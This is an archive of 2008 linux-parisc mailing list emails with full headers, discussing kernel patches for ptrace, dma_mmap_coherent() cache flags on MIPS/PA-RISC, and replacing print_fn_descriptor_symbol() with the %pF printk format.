Date: Fri, 22 Aug 2008 13:14:48 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <K604OO$A0941708ED315C0C39BAD98E8610D1D0@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1219407309 23457 80.91.229.12 (22 Aug 2008 12:15:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 22 Aug 2008 12:15:09 +0000 (UTC)
Cc: "linux-parisc" <linux-parisc@vger.kernel.org>,
	"kyle" <kyle@mcmartin.ca>, "hch" <hch@lst.de>
To: "deller" <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 22 14:16:01 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KWVYZ-0006gv-7E
	for glpp-linux-parisc@gmane.org; Fri, 22 Aug 2008 14:15:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751941AbYHVMOz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 22 Aug 2008 08:14:55 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752449AbYHVMOz
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 22 Aug 2008 08:14:55 -0400
Original-Received: from eir.is.scarlet.be ([193.74.71.27]:50634 "EHLO eir.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751941AbYHVMOy convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 22 Aug 2008 08:14:54 -0400
Original-Received: from scarlet.be (taj.is.scarlet.be [193.74.71.42])
	by eir.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m7MCEnPw009960;
	Fri, 22 Aug 2008 14:14:49 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-DCC-scarlet.be-Metrics: eir; whitelist
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:646
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/646>

Hello Helge,

I build and boot successfully 2 32bit kernels including your patch ;<)

> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> 
>   arch/parisc/kernel/ptrace.c        |  429
> ++++++++++++++-----------------------
>   arch/parisc/kernel/syscall_table.S |    2
>   include/asm-parisc/ptrace.h        |   10

I just encountered a small issue against latest Kyle git tree because this
file was moved to 'arch/parisc/include/asm'.

Tx,
    J.

>   3 files changed, 183 insertions(+), 258 deletions(-)
> 
> 
> 


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Takashi Iwai <tiwai@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.mips.general
Subject: Re: [PATCH] mips: Add dma_mmap_coherent()
Date: Fri, 22 Aug 2008 14:17:54 +0200
Lines: 48
Approved: news@gmane.org
Message-ID: <s5hy72pmefh.wl%tiwai@suse.de>
References: <K6047O$07C3A675C0E02FC7BE973C0D5DEF9AAA@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka")
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1219407485 24065 80.91.229.12 (22 Aug 2008 12:18:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 22 Aug 2008 12:18:05 +0000 (UTC)
Cc: "James.Bottomley" <James.Bottomley@HansenPartnership.com>,
	"linux-mips" <linux-mips@linux-mips.org>,
	"ralf" <ralf@linux-mips.org>,
	"linux-parisc" <linux-parisc@vger.kernel.org>
To: "Joel Soete" <soete.joel@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 22 14:18:57 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KWVbU-0006gv-Ru
	for glpp-linux-parisc@gmane.org; Fri, 22 Aug 2008 14:18:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753042AbYHVMR5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 22 Aug 2008 08:17:57 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753279AbYHVMR5
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 22 Aug 2008 08:17:57 -0400
Original-Received: from mail.suse.de ([195.135.220.2]:59532 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753042AbYHVMR4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 22 Aug 2008 08:17:56 -0400
Original-Received: from Relay1.suse.de (relay-ext.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id 4FC4741C37;
	Fri, 22 Aug 2008 14:17:55 +0200 (CEST)
In-Reply-To: <K6047O$07C3A675C0E02FC7BE973C0D5DEF9AAA@scarlet.be>
User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka)
 FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/22.2
 (x86_64-suse-linux-gnu) MULE/5.0 (SAKAKI)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:647 gmane.linux.ports.mips.general:21357
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/647>

At Fri, 22 Aug 2008 13:04:36 +0100,
Joel Soete wrote:
> 
> Hello Takashi et al.,
...
> I build and boot successfully kernel 32bit including your patch on 2 systems
> (a b2k using sba and a d380 using ccio).

Thanks for testing!

> I just noticed that the above code is ~ the same; otoh there is also a
> iommu-helpers.h containing also common code to those 2 drivers. So may be for
> easiest maintenance, could you merge and move this code in this 'helper' as
> follow:
> --- ./drivers/parisc/iommu-helpers.h.Orig	2008-08-01 12:57:22.000000000 +0000
> +++ ./drivers/parisc/iommu-helpers.h	2008-08-22 08:07:26.000000000 +0000

That sounds like a good idea.

One concern is to define a non-inline function in *.h.  But,
iommu-helper.h is included only by these two drivers, so there is no
problem as now, although a comment would be more helpful.


> >
> > diff --git a/include/asm-parisc/dma-mapping.h b/include/asm-parisc/dma-mapping.h
> > index 53af696..5b357b3 100644
> > --- a/include/asm-parisc/dma-mapping.h
> > +++ b/include/asm-parisc/dma-mapping.h
> 
> The small issue encountered: against latest Kyle git tree (dated 2008-07-29)
> this file was moved in arch/parisc/include/asm.

Yes.  My patches are still based on older version (2.6.27-rc2 or so).

git cares renaming well, so it shouldn't be a big problem.
I just tested it now and git-pull (oh now it's "git pull" :) renames
it automatically indeed.


thanks,

Takashi
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tsbogend@alpha.franken.de (Thomas Bogendoerfer)
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.mips.general
Subject: Re: [PATCH] mips: Add dma_mmap_coherent()
Date: Fri, 22 Aug 2008 16:36:22 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <20080822143622.GA8413@alpha.franken.de>
References: <s5hzln7vd9d.wl%tiwai@suse.de> <1219255088.3258.45.camel@localhost.localdomain> <s5hr68ivfer.wl%tiwai@suse.de> <1219326912.3265.2.camel@localhost.localdomain> <s5hhc9enyqa.wl%tiwai@suse.de> <s5hfxoynyn4.wl%tiwai@suse.de> <20080821214118.GA12516@alpha.franken.de> <s5hbpzl8tvz.wl%tiwai@suse.de> <20080822094131.GA6717@alpha.franken.de> <s5h7ia9nya3.wl%tiwai@suse.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1219416246 27725 80.91.229.12 (22 Aug 2008 14:44:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 22 Aug 2008 14:44:06 +0000 (UTC)
Cc: ralf@linux-mips.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-mips@linux-mips.org,
	Parisc List <linux-parisc@vger.kernel.org>
To: Takashi Iwai <tiwai@suse.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 22 16:44:58 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KWXsi-0006DR-Ew
	for glpp-linux-parisc@gmane.org; Fri, 22 Aug 2008 16:44:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751594AbYHVOnw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 22 Aug 2008 10:43:52 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752744AbYHVOnw
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 22 Aug 2008 10:43:52 -0400
Original-Received: from elvis.franken.de ([193.175.24.41]:32951 "EHLO elvis.franken.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751594AbYHVOnw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 22 Aug 2008 10:43:52 -0400
Original-Received: from uucp (helo=solo.franken.de)
	by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
	id 1KWXrh-0007dg-00; Fri, 22 Aug 2008 16:43:49 +0200
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id 50DCEC3F6F; Fri, 22 Aug 2008 16:36:22 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <s5h7ia9nya3.wl%tiwai@suse.de>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:648 gmane.linux.ports.mips.general:21359
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/648>

On Fri, Aug 22, 2008 at 12:23:48PM +0200, Takashi Iwai wrote:
> 	unsigned long prot = pgprot_val(_prot) & ~_CACHE_MASK;
> #ifdef CONFIG_SGI_IP32
> #ifdef CONFIG_CPU_R10000
> 	prot = prot | _CACHE_UNCACHED_ACCELERATED;
> #else
> 	prot = prot | _CACHE_CACHABLE_NO_WA;
> #endif
> #else
> 	prot = prot | _CACHE_UNCACHED;
> #endif
> 	return __pgprot(prot);

this won't work for recording channels on IP32, because the write trough
mapping will hide updates done via DMA.

I'd start with just

prot |= _CACHE_UNCACHED

and if some MIPS system needs more specific treatment, we just add
that later.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                                [ RFC1925, 2.3 ]
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Takashi Iwai <tiwai@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.mips.general
Subject: Re: [PATCH] mips: Add dma_mmap_coherent()
Date: Fri, 22 Aug 2008 16:47:45 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <s5h8wupf6ni.wl%tiwai@suse.de>
References: <s5hzln7vd9d.wl%tiwai@suse.de>
	<1219255088.3258.45.camel@localhost.localdomain>
	<s5hr68ivfer.wl%tiwai@suse.de>
	<1219326912.3265.2.camel@localhost.localdomain>
	<s5hhc9enyqa.wl%tiwai@suse.de>
	<s5hfxoynyn4.wl%tiwai@suse.de>
	<20080821214118.GA12516@alpha.franken.de>
	<s5hbpzl8tvz.wl%tiwai@suse.de>
	<20080822094131.GA6717@alpha.franken.de>
	<s5h7ia9nya3.wl%tiwai@suse.de>
	<20080822143622.GA8413@alpha.franken.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka")
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1219416474 28586 80.91.229.12 (22 Aug 2008 14:47:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 22 Aug 2008 14:47:54 +0000 (UTC)
Cc: ralf@linux-mips.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-mips@linux-mips.org,
	Parisc List <linux-parisc@vger.kernel.org>
To: tsbogend@alpha.franken.de (Thomas Bogendoerfer)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 22 16:48:47 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KWXwU-0007zK-Tn
	for glpp-linux-parisc@gmane.org; Fri, 22 Aug 2008 16:48:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751594AbYHVOrr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 22 Aug 2008 10:47:47 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753115AbYHVOrr
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 22 Aug 2008 10:47:47 -0400
Original-Received: from mx1.suse.de ([195.135.220.2]:47817 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751594AbYHVOrq (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 22 Aug 2008 10:47:46 -0400
Original-Received: from Relay1.suse.de (relay-ext.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id 7DD2F419E0;
	Fri, 22 Aug 2008 16:47:45 +0200 (CEST)
In-Reply-To: <20080822143622.GA8413@alpha.franken.de>
User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka)
 FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/22.2
 (x86_64-suse-linux-gnu) MULE/5.0 (SAKAKI)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:649 gmane.linux.ports.mips.general:21361
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/649>

At Fri, 22 Aug 2008 16:36:22 +0200,
Thomas Bogendoerfer wrote:
> 
> On Fri, Aug 22, 2008 at 12:23:48PM +0200, Takashi Iwai wrote:
> > 	unsigned long prot = pgprot_val(_prot) & ~_CACHE_MASK;
> > #ifdef CONFIG_SGI_IP32
> > #ifdef CONFIG_CPU_R10000
> > 	prot = prot | _CACHE_UNCACHED_ACCELERATED;
> > #else
> > 	prot = prot | _CACHE_CACHABLE_NO_WA;
> > #endif
> > #else
> > 	prot = prot | _CACHE_UNCACHED;
> > #endif
> > 	return __pgprot(prot);
> 
> this won't work for recording channels on IP32, because the write trough
> mapping will hide updates done via DMA.

Hmm, not so easy...

> I'd start with just
> 
> prot |= _CACHE_UNCACHED
> 
> and if some MIPS system needs more specific treatment, we just add
> that later.

OK, then it's essentially pgprog_noncached() as in my second patch.


Thanks!

Takashi
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bjorn.helgaas@hp.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [patch] vsprintf: use new vsprintf symbolic function pointer format
Date: Fri, 22 Aug 2008 09:34:43 -0600
Lines: 139
Approved: news@gmane.org
Message-ID: <200808220934.44782.bjorn.helgaas@hp.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1219419360 7346 80.91.229.12 (22 Aug 2008 15:36:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 22 Aug 2008 15:36:00 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org,
	Jesse Barnes <jbarnes@virtuousgeek.org>
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 22 17:36:48 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KWYgx-0004TE-KI
	for glpp-linux-parisc@gmane.org; Fri, 22 Aug 2008 17:36:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752546AbYHVPfr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 22 Aug 2008 11:35:47 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752454AbYHVPfr
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 22 Aug 2008 11:35:47 -0400
Original-Received: from g1t0026.austin.hp.com ([15.216.28.33]:20015 "EHLO
	g1t0026.austin.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752138AbYHVPfp (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 22 Aug 2008 11:35:45 -0400
Original-Received: from g5t0029.atlanta.hp.com (g5t0029.atlanta.hp.com [16.228.8.141])
	by g1t0026.austin.hp.com (Postfix) with ESMTP id 0EBEFC9A7;
	Fri, 22 Aug 2008 15:35:33 +0000 (UTC)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by g5t0029.atlanta.hp.com (Postfix) with ESMTP id D0606101A9;
	Fri, 22 Aug 2008 15:34:52 +0000 (UTC)
Original-Received: from localhost (ldl.fc.hp.com [127.0.0.1])
	by ldl.fc.hp.com (Postfix) with ESMTP id 74DDE39C0A1;
	Fri, 22 Aug 2008 09:34:47 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at ldl.fc.hp.com
Original-Received: from ldl.fc.hp.com ([127.0.0.1])
	by localhost (ldl.fc.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ut+9l6v83fs8; Fri, 22 Aug 2008 09:34:45 -0600 (MDT)
Original-Received: from tigger.helgaas (lart.fc.hp.com [15.11.146.31])
	by ldl.fc.hp.com (Postfix) with ESMTP id 930C739C00C;
	Fri, 22 Aug 2008 09:34:45 -0600 (MDT)
User-Agent: KMail/1.9.9
Content-Disposition: inline
X-Brightmail-Tracker: AAAAAQAAAAI=
X-Whitelist: TRUE
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:650 gmane.linux.kernel:725025
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/650>

Use the '%pF' format to get rid of an "#ifdef DEBUG" and make
some printks atomic.

This removes the last in-tree uses of print_fn_descriptor_symbol().
I marked print_fn_descriptor_symbol() deprecated and scheduled it
for removal next year to give time for out-of-tree modules to be
updated.

I cc'd the parisc folks because print_fn_descriptor_symbol() is
currently broken there (it needs to dereference the function pointer
similar to ia64 and power).  This patch shouldn't make anything worse,
but it means we need to fix dereference_function_descriptor() instead
of print_fn_descriptor_symbol() to get meaningful initcall_debug
output.

Signed-off-by: Bjorn Helgaas <bjorn.helgaas@hp.com>
---

 Documentation/feature-removal-schedule.txt |    8 ++++++++
 drivers/base/power/main.c                  |    7 ++-----
 drivers/pci/quirks.c                       |    5 +----
 include/linux/kallsyms.h                   |    8 +++-----
 init/main.c                                |   14 ++++++--------
 5 files changed, 20 insertions(+), 22 deletions(-)


diff --git a/Documentation/feature-removal-schedule.txt b/Documentation/feature-removal-schedule.txt
index eb1a47b..6951fb4 100644
--- a/Documentation/feature-removal-schedule.txt
+++ b/Documentation/feature-removal-schedule.txt
@@ -322,3 +322,11 @@ Why:  Accounting can now be enabled/disabled without kernel recompilation.
       controlled by a kernel/module/sysfs/sysctl parameter.
 Who:  Krzysztof Piotr Oledzki <ole@ans.pl>
 
+---------------------------
+
+What: print_fn_descriptor_symbol()
+When: October 2009
+Why:  The %pF vsprintf format provides the same functionality in a
+      simpler way.  print_fn_descriptor_symbol() is deprecated but
+      still present to give out-of-tree modules time to change.
+Who:  Bjorn Helgaas <bjorn.helgaas@hp.com>
diff --git a/drivers/base/power/main.c b/drivers/base/power/main.c
index 3250c52..cd12708 100644
--- a/drivers/base/power/main.c
+++ b/drivers/base/power/main.c
@@ -787,10 +787,7 @@ EXPORT_SYMBOL_GPL(device_suspend);
 
 void __suspend_report_result(const char *function, void *fn, int ret)
 {
-	if (ret) {
-		printk(KERN_ERR "%s(): ", function);
-		print_fn_descriptor_symbol("%s returns ", fn);
-		printk("%d\n", ret);
-	}
+	if (ret)
+		printk(KERN_ERR "%s(): %pF returns %d\n", function, fn, ret);
 }
 EXPORT_SYMBOL_GPL(__suspend_report_result);
diff --git a/drivers/pci/quirks.c b/drivers/pci/quirks.c
index 9236e7f..0143268 100644
--- a/drivers/pci/quirks.c
+++ b/drivers/pci/quirks.c
@@ -1560,10 +1560,7 @@ static void pci_do_fixups(struct pci_dev *dev, struct pci_fixup *f, struct pci_f
 	while (f < end) {
 		if ((f->vendor == dev->vendor || f->vendor == (u16) PCI_ANY_ID) &&
  		    (f->device == dev->device || f->device == (u16) PCI_ANY_ID)) {
-#ifdef DEBUG
-			dev_dbg(&dev->dev, "calling ");
-			print_fn_descriptor_symbol("%s\n", f->hook);
-#endif
+			dev_dbg(&dev->dev, "calling %pF\n", f->hook);
 			f->hook(dev);
 		}
 		f++;
diff --git a/include/linux/kallsyms.h b/include/linux/kallsyms.h
index b961448..f3fe343 100644
--- a/include/linux/kallsyms.h
+++ b/include/linux/kallsyms.h
@@ -93,12 +93,10 @@ static inline void print_symbol(const char *fmt, unsigned long addr)
 }
 
 /*
- * Pretty-print a function pointer.
- *
- * ia64 and ppc64 function pointers are really function descriptors,
- * which contain a pointer the real address.
+ * Pretty-print a function pointer.  This function is deprecated.
+ * Please use the "%pF" vsprintf format instead.
  */
-static inline void print_fn_descriptor_symbol(const char *fmt, void *addr)
+static inline void __deprecated print_fn_descriptor_symbol(const char *fmt, void *addr)
 {
 #if defined(CONFIG_IA64) || defined(CONFIG_PPC64)
 	addr = *(void **)addr;
diff --git a/init/main.c b/init/main.c
index f6f7042..75a038d 100644
--- a/init/main.c
+++ b/init/main.c
@@ -708,7 +708,7 @@ int do_one_initcall(initcall_t fn)
 	int result;
 
 	if (initcall_debug) {
-		print_fn_descriptor_symbol("calling  %s\n", fn);
+		printk("calling  %pF\n", fn);
 		t0 = ktime_get();
 	}
 
@@ -718,9 +718,8 @@ int do_one_initcall(initcall_t fn)
 		t1 = ktime_get();
 		delta = ktime_sub(t1, t0);
 
-		print_fn_descriptor_symbol("initcall %s", fn);
-		printk(" returned %d after %Ld msecs\n", result,
-			(unsigned long long) delta.tv64 >> 20);
+		printk("initcall %pF returned %d after %Ld msecs\n", fn,
+		       result, (unsigned long long) delta.tv64 >> 20);
 	}
 
 	msgbuf[0] = 0;
@@ -736,10 +735,9 @@ int do_one_initcall(initcall_t fn)
 		strlcat(msgbuf, "disabled interrupts ", sizeof(msgbuf));
 		local_irq_enable();
 	}
-	if (msgbuf[0]) {
-		print_fn_descriptor_symbol(KERN_WARNING "initcall %s", fn);
-		printk(" returned with %s\n", msgbuf);
-	}
+	if (msgbuf[0])
+		printk(KERN_WARNING "initcall %pF returned with %s\n",
+		       fn, msgbuf);
 
 	return result;
 }
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [patch] vsprintf: use new vsprintf symbolic function pointer
	format
Date: Fri, 22 Aug 2008 12:32:12 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <20080822163212.GE1563@phobos.i.cabal.ca>
References: <200808220934.44782.bjorn.helgaas@hp.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1219422759 20242 80.91.229.12 (22 Aug 2008 16:32:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 22 Aug 2008 16:32:39 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	linux-kernel@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org,
	Jesse Barnes <jbarnes@virtuousgeek.org>
To: Bjorn Helgaas <bjorn.helgaas@hp.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 22 18:33:31 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KWZZb-00013d-I2
	for glpp-linux-parisc@gmane.org; Fri, 22 Aug 2008 18:33:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751928AbYHVQcP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 22 Aug 2008 12:32:15 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751838AbYHVQcP
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 22 Aug 2008 12:32:15 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:57538 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751928AbYHVQcO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 22 Aug 2008 12:32:14 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 13BE217805E; Fri, 22 Aug 2008 12:32:13 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200808220934.44782.bjorn.helgaas@hp.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:651 gmane.linux.kernel:725041
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/651>

On Fri, Aug 22, 2008 at 09:34:43AM -0600, Bjorn Helgaas wrote:
> Use the '%pF' format to get rid of an "#ifdef DEBUG" and make
> some printks atomic.
> 
> This removes the last in-tree uses of print_fn_descriptor_symbol().
> I marked print_fn_descriptor_symbol() deprecated and scheduled it
> for removal next year to give time for out-of-tree modules to be
> updated.
> 
> I cc'd the parisc folks because print_fn_descriptor_symbol() is
> currently broken there (it needs to dereference the function pointer
> similar to ia64 and power).  This patch shouldn't make anything worse,
> but it means we need to fix dereference_function_descriptor() instead
> of print_fn_descriptor_symbol() to get meaningful initcall_debug
> output.
> 

Yeah, I sent a few patches a couple months ago fixing this up for
print_fn_..._symbol, but they were never applied, and I kind of forgot
about them. It only really effects me once and a while during a merge
window when I need to use initcall_debug, so it's easily forgotten.

I've got a patch, I'll send it along in a bit when one of my machines
finally boots and I can test it.

